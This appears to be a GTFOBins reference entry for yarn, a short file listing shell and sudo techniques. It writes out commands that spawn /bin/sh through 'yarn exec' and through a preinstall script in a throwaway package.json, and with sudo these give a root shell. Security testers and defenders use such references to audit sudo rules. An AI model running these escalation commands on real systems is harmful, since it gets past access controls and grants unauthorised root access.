GTFOBins.github.io/_gtfobins/yarn.md
2021-06-18 14:16:48 +02:00

243 B

functions
shell sudo
code
yarn exec /bin/sh
code
TF=$(mktemp -d) echo '{"scripts": {"preinstall": "/bin/sh"}}' > $TF/package.json yarn --cwd $TF install
code
sudo yarn exec /bin/sh